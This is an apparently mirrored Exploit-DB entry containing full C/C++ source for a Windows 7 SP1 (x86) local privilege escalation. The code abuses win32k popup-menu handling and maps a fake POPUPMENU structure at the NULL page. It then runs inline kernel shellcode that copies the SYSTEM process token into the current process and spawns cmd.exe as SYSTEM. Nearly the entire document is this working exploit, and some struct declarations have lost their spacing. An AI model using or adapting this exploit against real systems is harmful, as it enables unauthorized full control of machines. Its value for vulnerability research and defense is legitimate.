Microsoft Windows 7 build 7601 (x86) – Local Privilege Escalation

  • 作者: ShivamTrivedi
    日期: 2019-07-26
  • 类别:
    平台:
  • 来源:https://www.exploit-db.com/exploits/47176/
  • #include <Windows.h>
    #include <iostream>
    
    /*
    EDB Note: Download ~ https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/47176.zip
    */
    
    /* PREPROCESSOR DEFINITIONS */
    #define MN_SELECTITEM 0x1E5
    #define MN_SELECTFIRSTVALIDITEM 0x1E7
    #define MN_OPENHIERARCHY 0x01E3
    #define MN_CANCELMENUS 0x1E6
    #define MN_BUTTONDOWN 0x1ed
    #define WM_EX_TRIGGER 0x6789
    #define NtCurrentProcess() (HANDLE)-1
    #define NtCurrentThread()(HANDLE)-1
    #define NT_SUCCESS(Status) (((NTSTATUS)(Status)) >= 0)
    #define TYPE_WINDOW 1
    
    /* GLOBAL VARIABLES */
    static BOOL		hWindowHuntDestroy = FALSE;
    static BOOL		bEnterEvent = FALSE;
    static BOOL		success = FALSE;
    static HMENU	hMenuList[3] = { 0 };
    static HWND		hWindowMain = NULL;
    static HWND		hWindowHunt = NULL;
    static HWND		hwndMenuList[3] = { 0 };
    static PVOID	MemAddr = (PVOID)1;
    static SIZE_T	MemSize = 0x1000;
    static DWORD	iCount = 0;
    static DWORD	release = 0;
    
    
    /* Structure definition of win32k!tagWND returned by xxHMValidateHandle */
    typedef struct _HEAD {
    	HANDLEh;
    	DWORD cLockObj;
    } HEAD, *PHEAD;
    
    typedef struct _THROBJHEAD {
    	HEADhead;
    	PVOID pti;
    } THROBJHEAD, *PTHROBJHEAD;
    
    typedef struct _DESKHEAD {
    	PVOID rpdesk;
    	PBYTE pSelf;
    } DESKHEAD, *PDESKHEAD;
    
    typedef struct _THRDESKHEAD {
    	THROBJHEADthread;
    	DESKHEADdeskhead;
    } THRDESKHEAD, *PTHRDESKHEAD;
    
    /* Definition of xxHMValidateHandle */
    static PVOID(__fastcall *pfnHMValidateHandle)(HANDLE, BYTE) = NULL;
    
    /* Defintion of NtallocateVirtualMemory */
    typedef
    NTSTATUS
    (WINAPI *pfNtAllocateVirtualMemory) (
    	HANDLE ProcessHandle,
    	PVOID *BaseAddress,
    	ULONG_PTRZeroBits,
    	PSIZE_TRegionSize,
    	ULONGAllocationType,
    	ULONGProtect
    	);
    pfNtAllocateVirtualMemory NtAllocateVirtualMemory = NULL;
    
    
    static
    VOID
    xxGetHMValidateHandle(VOID)
    {
    	HMODULE hModule = LoadLibraryA("USER32.DLL");
    	PBYTE pfnIsMenu = (PBYTE)GetProcAddress(hModule, "IsMenu");
    	PBYTE Address = NULL;
    	for (INT i = 0; i < 0x30; i++)
    	{
    		if (*(WORD *)(i + pfnIsMenu) != 0x02B2)
    		{
    			continue;
    		}
    		i += 2;
    		if (*(BYTE *)(i + pfnIsMenu) != 0xE8)
    		{
    			continue;
    		}
    		Address = *(DWORD *)(i + pfnIsMenu + 1) + pfnIsMenu;
    		Address = Address + i + 5;
    		pfnHMValidateHandle = (PVOID(__fastcall *)(HANDLE, BYTE))Address;
    		break;
    	}
    }
    
    static
    PVOID
    xxHMValidateHandleEx(HWND hwnd)
    {
    	return pfnHMValidateHandle((HANDLE)hwnd, TYPE_WINDOW);
    }
    
    static
    PVOID
    xxHMValidateHandle(HWND hwnd)
    {
    	PVOID RetAddr = NULL;
    	if (!pfnHMValidateHandle)
    	{
    		xxGetHMValidateHandle();
    	}
    	if (pfnHMValidateHandle)
    	{
    		RetAddr = xxHMValidateHandleEx(hwnd);
    	}
    	return RetAddr;
    }
    
    static
    BOOL
    xxRegisterWindowClassW(LPCWSTR lpszClassName, INT cbWndExtra, WNDPROC pfnProc = DefWindowProcW)
    {
    	WNDCLASSEXW wc = { 0 };
    	wc.cbSize = sizeof(WNDCLASSEXW);
    	wc.lpfnWndProc = pfnProc;
    	wc.cbWndExtra = cbWndExtra;
    	wc.hInstance = GetModuleHandleA(NULL);
    	wc.lpszMenuName = NULL;
    	wc.lpszClassName = lpszClassName;
    	return RegisterClassExW(&wc);
    }
    
    static
    HWND
    xxCreateWindowExW(LPCWSTR lpszClassName, DWORD dwExStyle, DWORD dwStyle, HINSTANCE hInstance = NULL, HWND hwndParent = NULL)
    {
    	return CreateWindowExW(dwExStyle,
    		lpszClassName,
    		NULL,
    		dwStyle,
    		0,
    		0,
    		1,
    		1,
    		hwndParent,
    		NULL,
    		hInstance,
    		NULL);
    }
    
    static
    LRESULT
    CALLBACK
    xxWindowHookProc(INT code, WPARAM wParam, LPARAM lParam)
    {
    	tagCWPSTRUCT *cwp = (tagCWPSTRUCT *)lParam;
    
    	if (cwp->message == WM_NCCREATE && bEnterEvent && hwndMenuList[release] && !hwndMenuList[release+1])
    	{
    		printf("Sending the MN_CANCELMENUS message\n");
    		SendMessage(hwndMenuList[release], MN_CANCELMENUS, 0, 0);
    		bEnterEvent = FALSE;
    	}
    	return CallNextHookEx(0, code, wParam, lParam);
    }
    
    
    static
    VOID
    CALLBACK
    xxWindowEventProc(
    	HWINEVENTHOOK hWinEventHook,
    	DWORD event,
    	HWNDhwnd,
    	LONGidObject,
    	LONGidChild,
    	DWORD idEventThread,
    	DWORD dwmsEventTime
    )
    {
    	UNREFERENCED_PARAMETER(hWinEventHook);
    	UNREFERENCED_PARAMETER(event);
    	UNREFERENCED_PARAMETER(idObject);
    	UNREFERENCED_PARAMETER(idChild);
    	UNREFERENCED_PARAMETER(idEventThread);
    	UNREFERENCED_PARAMETER(dwmsEventTime);
    
    	bEnterEvent = TRUE;
    	if (iCount < ARRAYSIZE(hwndMenuList))
    	{
    		hwndMenuList[iCount] = hwnd;
    		iCount++;
    	}
    	SendMessageW(hwnd, MN_SELECTITEM, 0, 0);
    	SendMessageW(hwnd, MN_SELECTFIRSTVALIDITEM, 0, 0);
    	PostMessageW(hwnd, MN_OPENHIERARCHY, 0, 0);
    }
    
    __declspec(noinline) int Shellcode()
    {
    	__asm {
    		xor eax, eax // Set EAX to 0.
    		mov eax, DWORD PTR fs : [eax + 0x124] // Get nt!_KPCR.PcrbData.
    											 // _KTHREAD is located at FS:[0x124]
    		mov eax, [eax + 0x50] // Get nt!_KTHREAD.ApcState.Process
    		mov ecx, eax // Copy current process _EPROCESS structure
    		mov edx, 0x4 // Windows 7 SP1 SYSTEM process PID = 0x4
    		SearchSystemPID:
    			mov eax, [eax + 0B8h] // Get nt!_EPROCESS.ActiveProcessLinks.Flink
    			sub eax, 0B8h
    			cmp[eax + 0B4h], edx // Get nt!_EPROCESS.UniqueProcessId
    			jne SearchSystemPID
    			mov edx, [eax + 0xF8] // Get SYSTEM process nt!_EPROCESS.Token
    			mov[ecx + 0xF8], edx // Assign SYSTEM process token.
    	}
    }
    
    static
    LRESULT
    WINAPI
    xxMainWindowProc(
    	_In_ HWND hwnd,
    	_In_ UINT msg,
    	_In_ WPARAM wParam,
    	_In_ LPARAM lParam
    )
    {
    	if (msg == 0x1234)
    	{
    		WORD um = 0;
    		__asm
    		{
    			// Grab the value of the CS register and
    			// save it into the variable UM.
    			//int 3
    			mov ax, cs
    			mov um, ax
    		}
    		// If UM is 0x1B, this function is executing in usermode
    		// code and something went wrong. Therefore output a message that
    		// the exploit didn't succeed and bail.
    		if (um == 0x1b)
    		{
    			// USER MODE
    			printf("[!] Exploit didn't succeed, entered sprayCallback with user mode privileges.\r\n");
    			ExitProcess(-1); // Bail as if this code is hit either the target isn't 
    							 // vulnerable or something is wrong with the exploit.
    		}
    		else
    		{
    			success = TRUE; // Set the success flag to indicate the sprayCallback()
    							// window procedure is running as SYSTEM.
    			Shellcode(); // Call the Shellcode() function to perform the token stealing and
    						 // to remove the Job object on the Chrome renderer process.
    		}
    	}
    	return DefWindowProcW(hwnd, msg, wParam, lParam);
    }
    
    int main()
    {
    	/* Creating the menu */
    	for (int i = 0; i < 3; i++)
    		hMenuList[i] = CreateMenu();
    
    	/* Appending the menus along with the item */
    	for (int i = 0; i < 3; i++)
    	{
    		AppendMenuA(hMenuList[i], MF_POPUP | MF_MOUSESELECT, (UINT_PTR)hMenuList[i + 1], "item");
    	}
    	AppendMenuA(hMenuList[2], MF_POPUP | MF_MOUSESELECT, (UINT_PTR)0, "item");
    
    	/* Creating a main window class */
    	xxRegisterWindowClassW(L"WNDCLASSMAIN", 0x000, DefWindowProc);
    	hWindowMain = xxCreateWindowExW(L"WNDCLASSMAIN",
    		WS_EX_LAYERED | WS_EX_TOOLWINDOW | WS_EX_TOPMOST,
    		WS_VISIBLE,
    		GetModuleHandleA(NULL));
    	printf("Handle of the mainWindow : 0x%08X\n", (unsigned int)hWindowMain);
    	ShowWindow(hWindowMain, SW_SHOWNOACTIVATE);
    
    	/* Creating the hunt window class */
    	xxRegisterWindowClassW(L"WNDCLASSHUNT", 0x000, xxMainWindowProc);
    	hWindowHunt = xxCreateWindowExW(L"WNDCLASSHUNT",
    		WS_EX_LEFT,
    		WS_OVERLAPPEDWINDOW,
    		GetModuleHandleA(NULL));
    	printf("Handle of the huntWindow : 0x%08X\n", (unsigned int)hWindowHunt);
    	
    	/* Hooking the WH_CALLWNDPROC function */
    	SetWindowsHookExW(WH_CALLWNDPROC, xxWindowHookProc, GetModuleHandleA(NULL), GetCurrentThreadId());
    
    	/* Hooking the trackpopupmenuEx WINAPI call */
    	HWINEVENTHOOK hEventHook = SetWinEventHook(EVENT_SYSTEM_MENUPOPUPSTART, EVENT_SYSTEM_MENUPOPUPSTART, GetModuleHandleA(NULL), xxWindowEventProc,
    		GetCurrentProcessId(), GetCurrentThreadId(), 0);
    
    	/* Setting the root popup menu to null */
    	printf("Setting the root popup menu to null\n");
    	release = 0;
    	TrackPopupMenuEx(hMenuList[0], 0, 0, 0, hWindowMain, NULL);
    
    	/* Allocating the memory at NULL page */
    	*(FARPROC *)&NtAllocateVirtualMemory = GetProcAddress(GetModuleHandleW(L"ntdll"), "NtAllocateVirtualMemory");
    	if (NtAllocateVirtualMemory == NULL)
    		return 1;
    
    	if (!NT_SUCCESS(NtAllocateVirtualMemory(NtCurrentProcess(),
    		&MemAddr,
    		0,
    		&MemSize,
    		MEM_COMMIT | MEM_RESERVE,
    		PAGE_READWRITE)) || MemAddr != NULL)
    	{
    		std::cout << "[-]Memory alloc failed!" << std::endl;
    		return 1;
    	}
    	ZeroMemory(MemAddr, MemSize);
    
    	/* Getting the tagWND of the hWindowHunt */
    	PTHRDESKHEAD head = (PTHRDESKHEAD)xxHMValidateHandle(hWindowHunt);
    	printf("Address of the win32k!tagWND of hWindowHunt : 0x%08X\n", (unsigned int)head->deskhead.pSelf);
    
    	/* Creating a fake POPUPMENU structure */
    	DWORD dwPopupFake[0x100] = { 0 };
    	dwPopupFake[0x0] = (DWORD)0x1; //->flags
    	dwPopupFake[0x1] = (DWORD)0x1; //->spwndNotify
    	dwPopupFake[0x2] = (DWORD)0x1; //->spwndPopupMenu
    	dwPopupFake[0x3] = (DWORD)0x1; //->spwndNextPopup
    	dwPopupFake[0x4] = (DWORD)0x1; //->spwndPrevPopup
    	dwPopupFake[0x5] = (DWORD)0x1; //->spmenu
    	dwPopupFake[0x6] = (DWORD)0x1; //->spmenuAlternate
    	dwPopupFake[0x7] = (ULONG)head->deskhead.pSelf + 0x12;//->spwndActivePopup
    	dwPopupFake[0x8] = (DWORD)0x1;//->ppopupmenuRoot
    	dwPopupFake[0x9] = (DWORD)0x1; //->ppmDelayedFree
    	dwPopupFake[0xA] = (DWORD)0x1;//->posSelectedItem
    	dwPopupFake[0xB] = (DWORD)0x1; //->posDropped
    	dwPopupFake[0xC] = (DWORD)0;
    
    	/* Copying it to the NULL page */
    	RtlCopyMemory(MemAddr, dwPopupFake, 0x1000);
    
    	/* Allowing to access the NULL page mapped values */
    	release = 1;
    	hwndMenuList[2] = NULL;
    	TrackPopupMenuEx(hMenuList[1], 0, 0, 0, hWindowMain, NULL);
    	
    	/* Freeing the allocated NULL memory */
    	VirtualFree(MemAddr, 0x1000, 0);
    
    	SendMessageW(hWindowHunt, 0x1234, (WPARAM)hwndMenuList[0], 0x11);
    
    	if (success)
    	{
    		STARTUPINFO si = { sizeof(si) };
    		PROCESS_INFORMATION pi = { 0 };
    		si.dwFlags = STARTF_USESHOWWINDOW;
    		si.wShowWindow = SW_SHOW;
    		printf("Getting the shell now...\n");
    		BOOL bRet = CreateProcessA(NULL, (LPSTR)"cmd.exe", NULL, NULL, FALSE, CREATE_NEW_CONSOLE, NULL, NULL, &si, &pi);
    		if (bRet)
    		{
    			CloseHandle(pi.hProcess);
    			CloseHandle(pi.hThread);
    		}
    	}
    
    	DestroyWindow(hWindowMain);
    
    	MSG msg = { 0 };
    	while (GetMessageW(&msg, NULL, 0, 0))
    	{
    		TranslateMessage(&msg);
    		DispatchMessageW(&msg);
    	}
    	return 0;
    }